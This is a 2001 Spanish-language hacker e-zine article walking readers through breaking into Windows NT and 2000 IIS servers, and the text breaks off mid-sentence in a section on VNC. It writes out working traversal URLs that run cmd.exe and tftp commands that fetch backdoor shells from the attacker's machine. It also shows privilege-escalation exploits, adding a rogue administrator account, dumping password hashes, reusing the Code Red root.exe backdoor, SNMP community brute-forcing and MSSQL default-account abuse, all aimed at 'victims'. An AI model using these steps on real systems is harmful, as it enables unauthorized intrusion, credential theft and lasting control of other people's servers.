eko nº3:(Eko3R-16.txt):10/11/2001 << Back To eko nº 3
<- [ Eko Magazine 3 Revange ] ----- [ La Venganza del Oso Arturo.... ] -> <------- [ ][-][UNTER #Colaborador ] ------ { Lopht@Tutopia.com } ------> <------ [ Test de Penetracion en Microsoft Windows NT y 2000 ] ---------> (att Infobyte Security Research Group) Greetz: All [MDK] kr33w, ``Sh[i]ff`, |YODA|, ANDYPZS, QQmelo, Powertech, ca0s, GiBa, Polos, Phreaking, ram33mhrz, ^Dr_fdisk, [LoD]Cinic, [FubuX], ASSUS, dark_angel_h20, K-maleon, a Valeria y Juan Pablo, a mi hermanito Te0kil0, (A Fede, El negro Lucas, a Martin (Cani0te) que callo preso y al el TUKU) que se comieron una tarde entera conmigo cuando les pedi que me den una mano con el "Tunning" del coche, #merlo y #linux de irc.ciudad.com.ar, los que me olvido de nombrar obviamente y por ultimo a todos aquellos a los ke se preocupan c/dia por aprender mas !!!. Despues de tanto tiempo sin nada que hacer en una aburrida noche de irc (como las de siempre), ca0s no tuvo peor idea que ofrecerme un espacio en la ek0magazine para que postee algo interesante para esta 3era entrega de la zine ( gracias ca0s mal0r )... , El tema es que no sabia sobre ke eskribir,pero keria colaborar con la gente de ezkracho, entonces me puse a pensar (algo que me cuesta hacer mucho) ;) y me pregunte a mi mismo sobre que tema puedo hablar y que a los lectores les interese, asi ke no me costo mucho darme cuenta que a todo el mundo hoy en dia le encanta hackear NTs y 2ks , de hecho hasta los worms hackean estas plataformas y por ke no nosotros :) Ok empesemos de una vez !!! Partamos de ke el Microsoft internet information server o IIS es el webserver que usan estos sistemas operativos, IIS 4.0 en la version de NT 4.0 y IIS 5.0 en 2000 Server. Este servidor web tanto en la version 4 o 5 tienen demasiados agujeros por los cuales kiero explicarles de que maneras podemos explotarlos y conseguir acceso al servidor, tambien como escalar privilegios sobre el servidor hasta hacernos user SYSTEM y/o Administrator. -------------------------- | Bugs del Unicode, Decode | -------------------------- Una instalacion x default del iis instala sus carpetas activas y sus directorios web en: C:\inetpub\ C:\inetpub\wwwroot\ <------ aca generalmente encontramos la pagina web de la victima. C:\inetpub\Scripts\ <------ directorio activo (aca empesamos a trabajar). Ademas de la carpeta activa Scripts existen otras tales como cgi-bin, MSDAC, _vti_bin , entre otras mas!. Como el directorio activo tiene permisos de ejecucion, todo binario que se encuentre en el podra ser ejecutado via un browser comun y corriente,entonces como nosotros necesitamos ejecutar comandos en el servidor ke keremos atacar necesitariamos tener un cmd.exe en la carpeta activa del servidor para tener un acceso similar al de un prompt de DOS. Okis, cuando en un servidor web corriendo iis ejecutamos esto por ej: http://victima/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ en el caso del unicode bug. http://victima/scripts/..%255c../winnt/system32/cmd.exe?/c+dir+c:\ en el caso del decode bug. (Existen muchisimos tipos de encodings diferentes y estan en todos lados estos use en el ejemplo nada mas). Confundimos al iis y le hacemos creer ke hay un cmd.exe en la carpeta scripts cuando en realidad se encuentra en C:\winnt\system32\, el iis no se da cuenta y nos devuelve todo esto: El volumen de la unidad C no tiene etiqueta. El numero de serie del volumen es: 988E-7AD4 Directorio de C:\ 02/10/01 11.24 <DIR> Archivos de programa 27/09/01 08.20 0 AUTOEXEC.BAT 27/09/01 08.20 0 CONFIG.SYS 02/10/01 16.09 <DIR> Demo Intranet 27/09/01 12.07 147.306 Exchange Server Setup.log 27/09/01 12.06 <DIR> exchsrvr 27/09/01 11.49 <DIR> InetPub 02/10/01 21.34 <DIR> Intranet 02/10/01 16.23 <DIR> Intranet Componentes 02/10/01 21.49 201.326.592 pagefile.sys 04/10/01 16.24 <DIR> TEMP 05/10/01 03.27 0 txt.txt 04/10/01 03.19 <DIR> WINNT 13 archivos 201.473.898 bytes 1.261.315.072 bytes libres 0kiz... ya tenemos acceso al c:\ pero hay un problema !! el iis tiene un usuario especifico para el uso del webserver, este user lo podemos encontrar como USR_(NOMBREDELSERVER), el cual por cuestiones de seguridad (mmm... ;) ) no tiene muchos privilegios, pero no importa nosotros somos penetration testers profesionales y eso no nos trae problemas !! ;). Lo que necesitamos hacer ahora es tener una mejor vista de lo ke estamos haciendole a nuestra victima, nuestro browser no se presta mucho para hackear, osea que nesecitamos instalar algun troyano en el servidor para que nos exporte un command prompt para luego entrar x telnet ;). Entonces lo ke hacemos es levantar un servidor de tftp en nuestro Gnu/Linux (windows users tb disponen de servidores de tftp para win). Listo, una ves ke tenemos el servidor de tftp en nuestra pc andando, vamos a usar un troyanito ke anda muy bien en los nts y 2ks, se llama ncx99.exe (http://packetstormsecurity.org/9906-exploits/ncx99.exe). Pasemos a subirlo usando el decode bug (mismo metodo ke en el unicode). http://victima/scripts/..%255c../winnt/system32/cmd.exe?/c+tftp-i+(acabanuestro ip)+GET+ncx99.exe Si todo sale bien la victima se conectara a nuesta pc y se bajara el ncx99.exe a la carpeta scripts. Ahora vamos a ejecutarlo y a entrar: http://ip-de-la-victima/scripts/ncx99.exe Despues de esto nuestro browser kedara cargando y no llegara a nada, significa ke ejecutamos el ncx99.exe correctamente. Luego hacemos un telnet al puerto 99 y tendremos una bonita consola de DOS. Pero todavia seguimos teniendo permisos de USR_NOMBREDELSERVER, si este fuera un NT 4.0 podemos explotar una vulnerabilidad que nos ejecuta lo que querramos como user SYSTEM (no es hermoso esto??) para mi si ... ejem ... Sigamos, para eso usaremos un sploit local llamado hk.exe ke afecta hasta NT4 sp6 inclusive. (Encontralo en nmrc.org/files/nt/hk-0.1.zip) Ahora lo que necesitamos es ejecutar nuevamente un nuevo troyanito mucho mas comodo que el ncx99.exe pero con permisos de system pero como el ncx99 unicamente nos bindea el puerto tcp/99 el NT creara conflictos por que el puerto ya esta siendo usado =( . Para eso empleamos el winshell.exe (disponible en www.securityfocus en la seccion tools). Este troyanito es aun mejor ke el anterior pero es mas complicado ejecutarlo desde el browser por eso primero me especifike en el ncx99. Subamos el hk.exe y el winshell.exe a el server con los mismos pasos que empleamos para el ncx99.exe pero ahora desde nuestra consola de telnet: C:\InetPub\scripts>tftp -i (mi ip) GET hk.exe Transferencia terminada: 32768 bytes en 17 segundos, 1927 bytes/s C:\InetPub\scripts> tftp -i (mi ip) GET winshell.exe Transferencia terminada: 42324 bytes en 25 segundos, 1832 bytes/s C:\InetPub\scripts> Ahora ejecutemos el hk.exe seguido del winshell.exe para ke tengamos una nueva shell pero con permisos de SYSTEM que seria similar que de Administrador. C:\InetPub\scripts>hk.exe winshell.exe 991 lsass pid & tid are: 48 - 51 Launching line was: winshell.exe 991 Who do you want to be today?NtImpersonateClientOfPort succeeded C:\InetPub\scripts> Listo ;) una nueva consola 0wn3d mal0r stupid hax0r nos espera ke nos telnetiemos por el puerto tcp/991. Cuanto telnetiemos nos vamos a encontrar con esto: Trying ip.add.re.ss.... Connected to ip.addr.re.ss. Escape character is '^]'. WinShell v1.0 - '!' to quit, 'enter' to shell...Microsoft(R) Windows NT(TM) (C) Copyright 1985-1996 Microsoft Corp. C:\InetPub\scripts> Listo!!! ya owniamos un nt4 (ojo con lo que toquen ahora por ke puede traer dolores de cabeza a los admines :)). El mismo metodo tambien se puede emplear para owniar un win 2000, pero la unica barrera es que el hk.exe ya no nos va a funcionar, pero como no es bueno que win2k este solo tenemos otro sploit local para conseguir los mismos privilegios de system pero en el servidor win2k. En este caso el sploit se llama httpodbc.dll (disponible en www.digitaloffense.net). Despues que lo subamos x tftp, lo llamamos desde el browser asi: http://vicima/scripts/httpodbc.dll (Importantisimo que respetemos el nombre de el file para que nos de resultado), nos aparecera un cuadro de texto en donde ejecutaremos cualkier comando de D0S (se asume c:\winnt\system32\cmd.exe/c). Este dll se encargara de que lo ejecute con permisos de system. Todo lo demas se los dejo a su imaginacion ;) Si son 1/2 vivos podrian pensar en esto ademas de seguir ejecutando winshelles.exe ;). " no se les viene la idea de crearse un usuario y ponerlo en el grupo de administador ?". " no se les viene la idea de montar una unidad de disco pero con los privilegios del user que nosotros mismos nos creamos y les dimos permisos de administrador? ". Bue si no se les vino a la cabeza esa idea se las doy yo!!! ;). Ahora creemosnos un usuario y lo metemos en el grupo de administrador con el comando: C:\> net user hunter mal0r /add&net localgroup Administrators hunter /add Aca creamos el usuario "hunter" y le pusimos como passwd "mal0r" y lo metimos dentro del grupo de Administrator. Ahora pasamos a mapear el disco C:\ en un la unidad X:\ con los permisos de administrator que le di a mi nueva cuentita "hunter" en este server win2k. Pasos a segir : net use x: \\ip.ad.dr.es\c$ /USER:ip.ad.dr.es\hunter mal0r Despues de esto solo al entrar a x: vamos a encontrar lo mismo que en c:\ pero la unica diferencia que aca vamos a tener permiso de escritura integro en toda la unidad ;). Si les interesa saber con que usuarios estamos compartiendo el server los programadores de bill nos inventaron un comando para poder sastisfacernos ;) lo demas se los dejo a su imaginacion: C:\> net users Cuentas de usuario de \\ -------------------------------------------------------------------- AAA AAD abulafia ACF Administrador AEC AEF AEM AFP AGP AGX AHC aj ALA ALF ANF ARCHIVO ARCHIVO13 ASX AYA BACKUP BBB bd BIBL BIP CAG ccc CHEY_VSVR_SER CIV CONSULTA correspondencia CPL CRC CT CVD CWX DAZ DGI DGX EBC EHC ejd EJO er evd fc FEM FG FJE fl FLL FLR FP FRO fv GAJ GB GMS GS GT GUEST hunter IH Invitado IS IUSR_EXTRANET IUSR_LC2000-1 IUSR_LC2000-2 IUSR_SERVER IWAM_EXTRANET IWAM_LC2000-1 IWAM_LC2000-2 IWAM_RAS JAI JEK JMP KAT KMG KPK lavidurria LC LJC LRV LVP MAA MAH MBB MBE MDT MEB MEP MET MFN MGD MGN MGP MGPO MIA MIB MIBA MIC MIM MIV MJ MJC MLB MLG MLV MMB MMP MMR MMS MMSC MN MP MPB MPEB MPR MTC MV NE NJB NV PAM PB PCM PDX PLX pm PNX prueba PSM PVT RGM RM RMX ROC RW SAE SB sbx services SFS SHP SINDUE Sistemas SM SMR SO SQLExecutiveCmdExec TB temporario VB VER vgl VGX VOX El comando se ha ejecutado con uno o mas errores. C:> Si ustedes no se conforman con solo tener un solo username, ahora ya sabemos todos los los usernames. Si despues de todo esto ustedes quieren seguir owniando las cuentas de los demas users de el server, no hace falta que me lo pidan voy a pasar a explicarlo :). ------ PWDUMP ------ Esta herramienta nos sirve para robarnos los hashes de los passwds encriptados de tanto en NT como en 2k y en convinacion con el L0phtCrack podremos crackear los passwds de las demas cuentas !!. El L0phtcrack pueden encontrarlo en www.astake.com (el prog es comercial pero el crack anda x la web). Ahora sigamos con los pasos para usar el archifamoso Pwdump: Esta demas decir ke antes de ejecutar el pwdump necesitamos permisos de admin (no me digan que no saben hacerce admines ;) ). El pwdump es muy sencillo tan solo con hacer: C:\> Pwdump.exe >> passwds.txt y copiarlo al directorio raiz de la pagina web, por donde lo vamos a bajar para luego incorporarlo en el L0phtcrack ;). (El pwdump en sus 3 versiones esta disponible en www.packetstormsecurity.org) OTRA VEZ OWNIAMOS!!!!!!!!! Sigamos adelante que todavia falta demasiado!!! ------------------------------------------------------------------- | Otro BUG para NT 4.0 ( unicamente para NT4 y iis4 MSDAC RDS BUG )| ------------------------------------------------------------------ Este simpatico archivito de dll se encuentra usualmente en los servidores iis4, su nombre es msdac.dll y lo encontramos en: http://winnt4vulnerable/msdac/madac.dll. Si este existe es muy posible que podamos conseguir ejecutar comandos nuevamente en el servidor, pero para eso el amigo Rain Forrest Puppy nos c0de0 un lindo exploit (bajalo de www.packetstormsecurity.org) llamado msdac2.pl y lo usamos de esta forma: r00t@][-][UNTER perl msdac2.pl -h winnt4vulnerable Despues de eso nos apareceria algo parecido a un prompt pero no nos muestra ningun resultado tras ejecutar un comando "por ej dir", eso no quita que el sploit no haya funcionado, es solo que se ejecuta el comando pero dentro del servidor. Lo que podriamos hacer ahora es algo asi: dir c:\ >> c:\inetpub\wwwroot\pepehax0r.txt Cuando se ejecute el sploit el servidor mandara un output de todo el "dir c:\" al archivo pepehax0r.txt que se encontrara en c:\inetpub\wwwroot\ (donde esta la page alojada), luego desde nuestro browser ponemos esto: http://winnt4vulnerable/pepehax0r.txt y de nuevo nos encontramos esto: El volumen de la unidad C no tiene etiqueta. El numero de serie del volumen es: 988E-7AD4 Directorio de C:\ 02/10/01 11.24 <DIR> Archivos de programa 27/09/01 08.20 0 AUTOEXEC.BAT 27/09/01 08.20 0 CONFIG.SYS 02/10/01 16.09 <DIR> Demo Intranet 27/09/01 12.07 147.306 Exchange Server Setup.log 27/09/01 12.06 <DIR> exchsrvr 27/09/01 11.49 <DIR> InetPub 02/10/01 21.34 <DIR> Intranet 02/10/01 16.23 <DIR> Intranet Componentes 02/10/01 21.49 201.326.592 pagefile.sys 04/10/01 16.24 <DIR> TEMP 05/10/01 03.27 0 txt.txt 04/10/01 03.19 <DIR> WINNT 13 archivos 201.473.898 bytes 1.261.315.072 bytes libres Pueden hacer los mismos pasos que con el ncx99.exe para subir el winshell y el hk.exe para exportar un prompt como system usando el msdac2.pl OTRA VES HEMOS OWNIADO!!!!! --------------------- IIS4 PATH Reveral Bug --------------------- Atencion: en el caso de que el admin se crea un pillo barbaro y crea que puede enga~arnos a nosotros los hax0rs ;) cambiando el directorio raiz del webserver, tenemos a nuestra disposicion otro hermoso bug que nos regresa el PATH real de donde esta alojada la webpage. como lo explotamos ? Facil: http://winnt4vulnerable/cualkiercosakosa.idq o http://winnt4vulnerable/cualkiercosakosa.ida El servidor nos regresara un mensaje de error junto al PATH de la webraiz por ej : C:\winnt\paginas\usuarios\supermal0rs\serp0\ (Recuerden que unicamente pueden ser vunlerables servidores NT 4.0 corriendo IIS/4.0). -------------------- C0de Red 2 Backdoor -------------------- Todos escucharon algo sobre este nuevo y muy famoso gusano "code red", cuya diferencia de los virus, los worms logran penetrar e infectar los sistemas sin la nesecidad de que algun descuidado los ejecute. Como lo hacen ? RE: = que nosotros ;) es simple, los worms explotan diferentes vulnerabilidades conocidas para conseguir accesar a los sistemas, en este caso el Codered utiliza bugs conocidos como el bug del .ida buffer overflow, unicode y decode bug. En su nueva Version "Codered 2" su programador no tuvo mejor idea que agregarle al codigo del worm nuevas lineas para que cuando consiga acceso a un servidor este habra un backdoor en el servidor. Este backdoor no es nada menos que una copia del archivo cmd.exe pero en las carpeta activas de los iis (Scripts, Msdac), lo podemos encontrar con el nombre de root.exe y eso nos permite tener nuevamente una gran puerta de entrada en el servidor infectado. Para comprobarlo solo basta con llamar al root.exe de esta forma : http://servidorinfectado/Scripts/root.exe?/c+dir+c:\ http://servidorinfectado/Msdac/root.exe?/c+dir+c:\ Con lo que si no responde a una listado del c:\, el servidor no esta infectado. En el caso de que si este infectado (muy probable en estos dias), hize un tonto exploit para uso personal, basado en el iis-zang.c, pero me sirve mucho y sobre todo funciona muy bien a si que decidi compartirlo con ustedes ;). Se llama ISRcodered2.c. usenlo!! (esta adjunto con la e-zine). El exploit es facil de usar con servidores infectados con el codered2 backdoor y su forma de uso es: $ gcc -o ISRcodered2 ISRcodered2.c $ ./ISRcodered2 -t www.serverinfectado.com -i Pronto les aparecera un intento de comand prompt ;). De esta forma y repitiendo los pasos anteriores podemos lograr 0wniar nuevamente el server ;). ----------------------- IISapi Null.printer Bug ----------------------- Hace poco la gente de EEYE Security publicaron una advisoria en un BufferOverflow en los IIS 5.0 (Win2000) este se aprovecha llamando a un device vinculado a los servicios de impresion y tras un string que sobrepasaba los 420 bytes producia un desbordamiento de pila por el cual el atacante podia lograr conseguir ejecutar con permisos de SYSTEM. Para esto tengo un sploit para dejarles a su disposicion y muy facil de usar (iisxwin2k.c) (este exploit estaba disponible en www.hack.co.za pero como este se encuentra cerrado les recomiendo que lo busquen por el nombre de iisxwin2k.c en www.google.com que seguramente encontraran un mirror ;) Es muy facil de usar y da buenos resultados :) ------------------------------- IPC$ y Enumeracion de Usernames ------------------------------- Winnt y 2k por default comparten el recurso IPC o IPC$ si el servidor nos permite establecer una sesion netbios nula o Null Session, podemos conseguir tener acceso a una parte del registry, gracias a esto podriamos hacer un dump de todos los usernames que existen en el servidor, lo cual nos deja la oportunidad de probar entrar por politicas de passws mal definidas (ej: usuario Administrator y pass Administrator, prueba/prueba, 123/123, etc,etc). Tambien no esta demas que prueben usuarios sin passwd que es algo muy comun o agregando un "123" al final del passwd (ej: carlitos/carlitos123). El tema es "como dumpeamos los usernames?". RE: existen aplicaciones para hacerlo como por ej el Shaddow Security Scanner o el Retina, el tema es que solo se puede hacer desde otra terminal corriendo Nt,2000 o XP, (usuarios de windows 95,98,ME olvidense) aunque se dice que ahora ya se puede hacer desde GNU/Linux tambien usando el Samba-TNG, esta es una version basada en el Samba pero ademas de traer otras cosillas existe un parametro para enumerar users. Para quienes no puedan establecer una null session con el servidor, un tip que no deberian dejar de tener en cuenta navegar un poco el webserver y probar las cuentas de correo que se encuentran en la pagina como usernames ( de hecho son usernames ..jeje. ). Por ej: webmaster@paginadelavictima.com contactos@paginadelavictima.com info@paginadelavictima.com Y claro nunca dejen de probar como username el nombre del dominio si la victima fuera www.carlit0rsonline.com.ar, deveriamos tener en cuenta probar. user carlit0rsonline pass carlit0rsonline o pass carlit0rsonline123 etc,etc piensen. --------------------- Sacando info por SNMP --------------------- Otra forma de sacar informacion interesante, no solo en NT y Win2k si no que en muchos S.O.s es a travez del servicio SNMP. El SNMP no viene activado x default en los sistemas de bill, pero en el caso de que si este corriendo, este podria revelarnos informacion tal como enumeracion de todos los usernames del servidor, info sobre el CPU informacion sobre devices de red y tablas de gateways entre muchisimas cosas mas... El SNMP se maneja con "comunidades", esto seria una especie de "Grupo de Trabajo" en redes LAN compartiendo recursos netbios, o como en el standart IEEE 802.11b de las redes wireless con solo saber el nombre del (work ground) uno ya puede acceder a recursos como cualquier terminal autorizada. No es novedad que el peligro de los sistemas muchas veces es por culpa de las configuraciones por default, en el caso del SNMP esto puede ser crucial para la integridad de la red. Existen algunos nombres de "comunidades" por default o comunes que no podemos dejar de tener en cuenta: public, private, secret, entre muchas otras: Llegamos a la hora de como explotarlo: Despues de esta pesada intro (para algunos) vallamos a los bifes como lo hize en el 99% del texto y para eso vamos a nesecitar de 2 pinturitas de la cual una es made in argentina hablo del tripper 1.0 escrito por ca0s (esta dentro de la E-ZINE) y la otra es el Athena2k.pl. (disponible en http://www.sps.lane.edu/~jshaw/athena-2k.pl) Ambas apps requieren del modulo de perl NET::SNMP (disponible en http://search.cpan.org) Para empezar el tripper viene a ser un scaner de red para buscar servidores snmp y si los encuentra con la ayuda de un diccionario puede hacer un brute force de diferentes nombres de "comunidades" predefinidas, es lo que primero nesecitariamos probar: root@][-][UNTER:~/tripper-v1.0# perl tripper.pl -- tripper.pl 1.0 - ca0s [Ezkracho Team] - http://www.ezkracho.com.ar/ Usage: tripper.pl [Options] <host or net list> [Options] -d description. Print the system type from the SNMP MIB. -b <file> brute force community's via word list. -t <seconds> time out. (default 1 second) -l <file> log to file instead of stdout. -v verbose. Print more information. -h this help. <host or net list> * for the 256 possibilities. , to separate single numbers. - to set number ranges. root@][-][UNTER:~/tripper-v1.0# Ahora veamoslo en accion: root@][-][UNTER:~/tripper-v1.0# perl tripper.pl -d -v 192.168.0.* -- tripper.pl 1.0 - ca0s [Ezkracho Team] - http://www.ezkracho.com.ar/ [192.168.0.0]: No Response. [192.168.0.1]: No Response. (*) [192.168.0.2] --> Community Name Found: 'public' - SYSTEM NAME: - SYSTEM UPTIME: - SYSTEM DESCRIPTION: [192.168.0.3]: No Response. [192.168.0.4]: No Response. (*) [192.168.0.5] --> Community Name Found: 'public' 'private' - SYSTEM NAME: sw1900 - SYSTEM UPTIME: 61 days, 13:43:34.13 - SYSTEM DESCRIPTION: Cisco Systems Catalyst 1900,V9.00.04 [192.168.0.6]: No Response. [192.168.0.7]: No Response. (*) [192.168.0.8] --> Community Name Found: 'public' - SYSTEM NAME: DIGEST - SYSTEM UPTIME: 1 day, 10:21:09.03 - SYSTEM DESCRIPTION: Hardware: x86 Family 6 Model 7 Stepping 3 AT/AT COMPATIBL E - Software: Windows 2000 Version 5.0 (Build 2195 Uniprocessor Free) [192.168.0.9]: No Response. Podran ver que el tripper funciona de 10 pero una vez que conocen las comunidades lo mejor es que usen el athena2k.pl (tengan en cuenta que en servidores snmp NTs o 2k suele sacar usernames. (disponible en http://www.sps.lane.edu/~jshaw/athena-2k.pl) m.. creo ke ya lo dije... Sigamos con el athena. root@][-][UNTER~# perl athena-2k.pl athena-2k.pl v.9 *Beta* 2001 APR 26 - A Windows 2000 SNMP auditing tool (C) 2001 jshaw [at] sps [dot] lane [dot] edu http://www.sps.lane.edu/~jshaw (NT 4 Support coming!) Usage: ./athena-2k.pl <options> <target> <community> Options: -------- -t - specify target hostname/ip *REQUIRED* ---------------------------------------------------------- *Plus one or more of the below* -a - ALL; lists all information about the remote host -g - provides general information about the remote host -h - provides hardware information about the remote host -r - lists running processes on remote host -i - lists installed applications & install date on remote host -c - lists services on remote host -u - lists user accounts on remote host -n - lists network information from remote host -o - set the timeout value for a response (default: 5 secs) Examples: -------- ./athena-2k.pl -a -t 10.0.0.1 -c public (Would report ALL information for host 10.0.0.1 using community "public") ./athena-2k.pl -gn -t 10.0.0.1 -c public (Would only report general & network information for host 10.0.0.1) root@][-][UNTER:~# Un ejemplo comun seria probando con un target que en este caso es el Win2k que nos descubrio el tripper: root@][-][UNTER:~# perl athena-2k.pl -a -t 192.168.0.8 -c public athena-2k.pl - A Windows 2000 SNMP Auditing Tool version: .9 *Beta* 2001 APR 26 by jshaw [at] sps [dot] lane [dot] edu (C) 2001 Jacob Shaw - This software is licensed under the GPL homepage: http://www.sps.lane.edu/~jshaw Information for DIGEST [192.168.0.8] ------------------------------------ Description: ----------- Hardware: x86 Family 6 Model 7 Stepping 3 AT/AT COMPATIBLE - Software: Windows 2 000 Version 5.0 (Build 2195 Uniprocessor Free) Primary Domain: WORKGROUP Contact: Location: System Uptime: 5 days, 12:21:24.75 System Date & Time: 10/30/2001 14:17 Hardware Configuration: ---------------------- Total Memory: 523812 KB Storage: ------- A:\ Device Type: Removable Disk Partition Type: UNKNOWN C:\ Label: Serial Number 93fba44a Device Type: Fixed Disk Partition Type: NTFS D:\ Label:WIN2000SERVER_AD Serial Number 34c91c6d Device Type: Compact Disc Partition Type: UNKNOWN E:\ Label:New Volume Serial Number cc945640 Device Type: Fixed Disk Partition Type: NTFS Running Applications: -------------------- Process ID Process Name ---------- ------------ 1016 snmp.exe 1084 WinMgmt.exe 1104 dfssvc.exe 1124 DNS.EXE 1140 inetinfo.exe 1504 RsEng.exe 176 SMSS.EXE 1780 svchost.exe 200 CSRSS.EXE 224 WINLOGON.EXE 252 SERVICES.EXE 264 LSASS.EXE 356 termsrv.exe 488 svchost.exe 512 SPOOLSV.EXE 540 msdtc.exe 644 tcpsvcs.exe 660 svchost.exe 688 LLSSRV.EXE 728 sfmprint.exe 764 endpoint.exe 8 System 856 regsvc.exe 872 RsFsa.exe 900 RsSub.exe 960 mstask.exe Installed Applications: ---------------------- Date Installed Time Name -------------- ---- ---- 05/02/2001 11:50 NetIQ Chariot 05/02/2001 11:50 NetIQ Endpoint 07/30/2001 16:01 Windows 2000 Hotfix (Pre-SP3) [See Q300972 for more info rmation] 10/23/2001 17:35 Windows 2000 Hotfix (Pre-SP3) [See Q307454 for more info rmation] 10/25/2001 01:19 Terminal Services Client 06/26/2001 15:26 Windows 2000 Service Pack 2 09/07/2001 12:39 WebFldrs Services: -------- DNS Client DNS Server DHCP Client DHCP Server Workstation SNMP Service Plug and Play Print Spooler RunAs Service NetIQ Endpoint Task Scheduler Computer Browser COM+ Event System IIS Admin Service Protected Storage Removable Storage Terminal Services IPSEC Policy Agent Network Connections Remote Storage File TCP/IP Print Server Logical Disk Manager Remote Storage Media Remote Storage Engine FTP Publishing Service Distributed File System License Logging Service Remote Registry Service Security Accounts Manager System Event Notification Print Server for Macintosh Remote Procedure Call (RPC) TCP/IP NetBIOS Helper Service Internet Authentication Service NT LM Security Support Provider Distributed Link Tracking Client World Wide Web Publishing Service Windows Management Instrumentation Distributed Transaction Coordinator Windows Management Instrumentation Driver Extensions Server Alerter Event Log Messenger Telephony User Accounts: ------------- ftpuser temporal IUSR_DIGEST IWAM_DIGEST Administrator TsInternetUser NetShowServices Guest ayuda soporte digest maximo info internet digest2 Network: ------- IP Forwarding Enabled: no (Still need to decode int values) Interfaces: ---------- Interface: [ up ] MS TCP Loopback interface^@ Hardware Address: Interface Speed: 10 Mbps IP Address: 0.0.0.0 Netmask: 0.0.0.0 Bytes In: 86909 Bytes Out: 86909 Interface: [ up ] Compaq Ethernet/FastEthernet or Gigabit NIC^@ Hardware Address: 0x00508b6fb322 Interface Speed: 10 Mbps IP Address: 127.0.0.1 Netmask: 255.0.0.0 Bytes In: 0 Bytes Out: 0 Interface: [ up ] Compaq Ethernet/FastEthernet or Gigabit NIC^@ Hardware Address: 0x00508b6fb322 Interface Speed: 100 Mbps IP Address: 192.168.0.8 Netmask: 255.255.255.0 Bytes In: 105505579 Bytes Out: 1096601149 Routing Information: ------------------- Destination: Next Hop: Mask: Metric: ------------ --------- ----- ------- 0.0.0.0 192.168.4.9 No Response 1 127.0.0.0 127.0.0.1 1 192.168.0.8 127.0.0.1 1 192.168.0.25 192.168.4.10 1 192.168.0.8 192.168.4.10 1 224.0.0.0 192.168.4.10 1 255.255.255.255 192.168.4.10 1 TCP Connections: --------------- Local Remote Address:Port Address:Port 0.0.0.0: 10115 0.0.0.0: 59415 0.0.0.0: 1025 0.0.0.0: 2222 0.0.0.0: 1029 0.0.0.0: 34966 0.0.0.0: 1032 0.0.0.0: 2112 0.0.0.0: 1033 0.0.0.0: 18446 0.0.0.0: 1034 0.0.0.0: 2176 0.0.0.0: 1036 0.0.0.0: 26636 0.0.0.0: 135 0.0.0.0: 18526 0.0.0.0: 1955 0.0.0.0: 43099 0.0.0.0: 21 0.0.0.0: 10279 0.0.0.0: 3372 0.0.0.0: 34872 0.0.0.0: 3503 0.0.0.0: 59475 0.0.0.0: 3759 0.0.0.0: 34838 0.0.0.0: 443 0.0.0.0: 10306 0.0.0.0: 445 0.0.0.0: 2128 0.0.0.0: 515 0.0.0.0: 2103 0.0.0.0: 53 0.0.0.0: 2048 0.0.0.0: 80 0.0.0.0: 34902 192.168.4.10: 139 0.0.0.0: 2160 192.168.4.10: 3389 0.0.0.0: 18564 Listening UDP Ports: ------------------- Address: Port 0.0.0.0: 10115 0.0.0.0: 1031 0.0.0.0: 1035 0.0.0.0: 135 0.0.0.0: 161 0.0.0.0: 1645 0.0.0.0: 1646 0.0.0.0: 1646 0.0.0.0: 1812 0.0.0.0: 1813 0.0.0.0: 3456 0.0.0.0: 445 0.0.0.0: 68 127.0.0.1: 1026 127.0.0.1: 1027 127.0.0.1: 1030 127.0.0.1: 53 192.168.4.10: 137 192.168.4.10: 138 192.168.4.10: 2535 192.168.4.10: 500 192.168.4.10: 53 192.168.4.10: 67 192.168.4.10: 68 Non-Administrative Shares: ------------------------- (No Response likely means its a Win2k Pro box) Share Name: No Response Path: No Response Comments: No Response Como ven, podemos ver los usuarios del sistema ;) y mucha mas informacion importante!!. --------------------- Ganando admin x MSSQL --------------------- Esta es otra manera para ganar acceso a un servidor NT o 2k siempre y cuando tenga instalado Microsoft SQL Server. Lame intro: El Microsoft SQL Server es un potente motor para bases de datos SQL oviamente para plataformas NT y 2K. Ahora que ya tenemos una pobre idea de que es MSSQL, ya tenemos derecho a aprender a hackearlo ;). El MSSQL x default se instala con el user "sa" y sin passwd, esta cuenta tiene privilegios unicamente para la administracion del SQL y muchos de los administradores se olvidan de quitarla o protegerla (Idi0tz;)) Como si fuera poco el hecho de que tener a nuestra disposicion una cuenta por default para poder lograr tener acceso a las bases de datos de la victima peor aun es que tambien se puede utilizar la cuenta "sa" sin pass nativa "unicamente" para administrar el SQL como una account con privilegios de Administrator(EHHHH?). Como lo leen, pero para eso nesecitaran bajarse el SqlExec de: (www.packetstormsecurity.org) El Sql exec es un exploit para poder ejecutar comandos como administrator en un target sabiendo que tienen el user x default "sa", con este exploitcito podran conseguir un cmd.exe y privilegios de admin en la victima :). Que pasaria si no tengo el user "sa" ? que otra cosa puedo hacer ?. RE: en el caso de que no tengas el user "sa" podrias conseguir los pass del SQL explotando el bug del global.asa. ------------------ BUG del Global.asa ------------------ Existe un error de cgi muy presente actualmente en servidores NTs o 2K corriendo Microsoft SQL Server por el cual podriamos capturar el user y passwd para ello nesesitamos ejecutar nuestro web browser y ejecutar esta linea: www.servidorsqlvulnerable.com/global.asa+.htr Si todo salio bien el servidor nos devolvera algo, pero a simple vista no hay nada es que lo que tenemos que hacer ahora es ver el codigo fuente del html que nos envio el servidor web y ahi podremos encontrar los nuevos usernames y passwds. Esta vulnerabilidad fue parcheada rapidamente por Microsoft, pero no se dieron cuenta que el parche no protegia un encoding diferente que en este caso nos regresaria lo mismo (hermoso no ?). Este nuevo enconding se explota de la siguiente forma: www.servidorsqlvulnerable.com/global.asa%3F.htr Donde %3F representa el mismo valor que el "+" jejej De esta forma si se bajan el SqlExec, el ejecutable solo permite el user "sa", pero tambien este incluye su codigo fuente osea que podrian agregarle un nuevo argumento para poder poner cualquier username o passwd ;) y asi podran ganar mayores chances, por que tal vez el admin haya cambiado el passwd o la cuenta "sa" pero si tiene el bug del global.asa, podriamos owniarlo igual ;). ----------------------------------------------- Robando el entorno grafico del servidor atacado ----------------------------------------------- Broche de ORO!!! Para finalizar el articulo (y dejando muchisimas cosas en el tintero) quisiera explicarles como conseguir un control total sobre el servidor owniado, en si siempre tuvimos control absoludo pero desde una consola de comandos de DOS y como windows es amigable y colorido nosotros los penetration testers tambien queremos aprobechar los recursos que nos da Bill ;) para eso usaremos el VNC un programa al mejor estilo pcanywhere para controlar un entorno grafico desde un cliente o desde el mismo web browser ( es freeware y su codigo fuente esta disponible 